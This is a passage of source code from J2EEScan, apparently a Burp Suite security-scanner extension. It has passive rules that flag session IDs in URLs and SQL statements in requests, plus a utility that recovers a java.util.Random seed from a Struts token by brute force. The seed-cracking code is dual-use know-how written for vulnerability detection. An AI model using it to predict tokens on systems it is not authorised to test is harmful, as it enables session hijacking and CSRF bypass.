callbacks.addScanIssue(new CustomScanIssue( 70 | baseRequestResponse.getHttpService(), 71 | reqInfo.getUrl(), 72 | baseRequestResponse, 73 | TITLE, 74 | DESCRIPTION, 75 | REMEDY, 76 | Risk.Medium, 77 | Confidence.Tentative 78 | )); 79 | } 80 | } 81 | } 82 | 83 | } 84 | 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/SessionIDInURL.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IRequestInfo; 7 | import burp.IResponseInfo; 8 | import burp.j2ee.Confidence; 9 | import burp.j2ee.CustomScanIssue; 10 | import burp.j2ee.Risk; 11 | import java.net.URL; 12 | import java.util.ArrayList; 13 | import java.util.Arrays; 14 | import java.util.List; 15 | 16 | 17 | /** 18 | * Improved detection for session identifiers in URL 19 | * 20 | * The passive rule checks the usage of path parameters on common J2EE platforms 21 | * 22 | * References: 23 | * - CWE-598 24 | * - http://www.jtmelton.com/2011/02/02/beware-the-http-path-parameter/ 25 | * - https://doriantaylor.com/policy/http-url-path-parameter-syntax 26 | * 27 | */ 28 | public class SessionIDInURL implements PassiveRule { 29 | 30 | private static final List SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid")); 31 | 32 | 33 | @Override 34 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 35 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 36 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) { 37 | 38 | IExtensionHelpers helpers = callbacks.getHelpers(); 39 | 40 | URL curURL = reqInfo.getUrl(); 41 | 42 | /** 43 | * session identifiers in URL (path parameter) 44 | * Improved detection for session identifiers 45 | */ 46 | for (String identifier : SESSIONIDs) { 47 | 48 | if (curURL.toString().contains(identifier)) { 49 | callbacks.addScanIssue(new CustomScanIssue( 50 | baseRequestResponse.getHttpService(), 51 | reqInfo.getUrl(), 52 | baseRequestResponse, 53 | "Session Token in Query Fragment", 54 | "J2EEScan identified session identifiers in the URLs; these information may be logged in various locations," 55 | + "including the user's browser, the web server, and any forward or reverse proxy servers between the " 56 | + "two endpoints.

" 57 | + "URLs may also be displayed on-screen, bookmarked or emailed around by users. " 58 | + "They may be disclosed to third parties via the Referer header when any off-site links are followed.
" 59 | + "Placing session tokens into the URL increases the risk that they will be captured by an attacker.", 60 | "Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or" 61 | + " reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users.
" 62 | + "They may be disclosed to third parties via the Referer header when any off-site links are followed.
" 63 | + "Placing session tokens into the URL increases the risk that they will be captured by an attacker.", 64 | Risk.Medium, 65 | Confidence.Firm 66 | )); 67 | } 68 | } 69 | 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/SqlQueryRule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive; 2 | 3 | 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IResponseInfo; 9 | import burp.j2ee.Confidence; 10 | import burp.j2ee.CustomScanIssue; 11 | import burp.j2ee.Risk; 12 | 13 | import java.util.ArrayList; 14 | import java.util.List; 15 | import java.util.regex.Matcher; 16 | import java.util.regex.Pattern; 17 | 18 | public class SqlQueryRule implements PassiveRule { 19 | 20 | 21 | private static final List SQL_QUERIES_RE = new ArrayList(); 22 | static { 23 | SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 24 | SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE)); 25 | } 26 | 27 | @Override 28 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, 29 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo, 30 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) { 31 | 32 | IExtensionHelpers helpers = callbacks.getHelpers(); 33 | 34 | /** 35 | * SQL statements in URL 36 | * 37 | * Improved detection for SQL statements in HTTP POST requests. 38 | */ 39 | if (reqBody != null) { 40 | 41 | // check the pattern on response reqBody 42 | for (Pattern sqlQueryRule : SQL_QUERIES_RE) { 43 | 44 | Matcher matcher = sqlQueryRule.matcher(helpers.urlDecode(reqBody)); 45 | 46 | if (matcher.find()) { 47 | callbacks.addScanIssue(new CustomScanIssue( 48 | baseRequestResponse.getHttpService(), 49 | reqInfo.getUrl(), 50 | baseRequestResponse, 51 | "SQL Statements in HTTP Request", 52 | "J2EEScan potentially identified SQL statements in HTTP POST requests.
" 53 | + "If SQL queries are passed from client to server in HTTP requests, a malicious user " 54 | + "could be able to alter the SQL statement executed on the remote database.", 55 | "Analyse the issue and modify the application behaviour, removing the SQL queries from the HTTP requests.", 56 | Risk.Medium, 57 | Confidence.Tentative 58 | )); 59 | } 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/strutstoken/ReplayRandom.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive.strutstoken; 2 | 3 | import java.util.concurrent.atomic.AtomicLong; 4 | 5 | public class ReplayRandom { 6 | private final AtomicLong seed; 7 | 8 | private static final long multiplier = 0x5DEECE66DL; 9 | private static final long addend = 0xBL; 10 | private static final long mask = (1L << 48) - 1; 11 | 12 | public ReplayRandom(long seed) { 13 | this.seed = new AtomicLong(); 14 | this.seed.set(seed); 15 | } 16 | 17 | protected int next(int bits) { 18 | long oldseed, nextseed; 19 | AtomicLong seed = this.seed; 20 | do { 21 | oldseed = seed.get(); 22 | nextseed = (oldseed * multiplier + addend) & mask; 23 | } while (!seed.compareAndSet(oldseed, nextseed)); 24 | return (int)(nextseed >>> (48 - bits)); 25 | } 26 | 27 | public int nextInt() { 28 | return next(32); 29 | } 30 | 31 | public long nextLong() { 32 | // it's okay that the bottom word remains signed. 33 | return ((long)(next(32)) << 32) + next(32); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/passive/strutstoken/StrutsTokenCracker.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.passive.strutstoken; 2 | 3 | import java.math.BigInteger; 4 | import java.nio.ByteBuffer; 5 | import java.nio.ByteOrder; 6 | import java.nio.IntBuffer; 7 | 8 | /** 9 | * Recover seed from Random instance base on a single Struts token. 10 | * @author Philippe Arteau 11 | */ 12 | public class StrutsTokenCracker { 13 | 14 | //Constants used to reproduce Java LCG PRNG 15 | private static final long multiplier = 0x5DEECE66DL; 16 | private static final long addend = 0xBL; 17 | private static final long mask = (1L << 48) - 1; 18 | 19 | /** 20 | * The guessing game can start ... 21 | * @param token 22 | */ 23 | public static boolean testToken(String token) { 24 | //System.out.println("== bytes representation (reconstructed byte array)"); 25 | int[] tokenInts = bytesToInt(bigIntToByte(token)); 26 | /*for(int i=0;ijava.util.Random#nextBytes(byte[]) 62 | */ 63 | public static int reverseByteOrder(long value) { 64 | int reverseValue = 0x00000000; 65 | //Many 66 | reverseValue |= value << 24 & 0xFF000000; 67 | reverseValue |= value << 8 & 0xFF0000; 68 | reverseValue |= value >> 8 & 0xFF00; 69 | reverseValue |= value >> 24 & 0xFF; 70 | 71 | return reverseValue; 72 | } 73 | 74 | //PRNG Brute Force 75 | 76 | /** 77 | * Guessing the unknown 16 bits of the seed.. (base on two int) 78 | * Taken from : https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html 79 | */ 80 | private static long findSeed(long v1, long v2) { 81 | //Important to remove the four 0xFF in case the initial int were negative 82 | v1 = v1 & 0xFFFFFFFFL; 83 | v2 = v2 & 0xFFFFFFFFL; 84 | 85 | //Brute for the 16 bit that is unknown (48 bits seed - 32 bits return value = 16 bits) 86 | for (int i = 0; i < 0x10000; i++) { 87 | long seed = (v1 << 16) + i; 88 | if ((((seed * multiplier + addend) & mask) >>> 16) == v2) { 89 | //System.out.println("Seed found: " + seed); 90 | return seed; 91 | } 92 | } 93 | //throw new RuntimeException("Not Found"); 94 | //System.err.println("Seed Not Found. :("); 95 | return -1; 96 | } 97 | 98 | } 99 | --------------------------------------------------------------------------------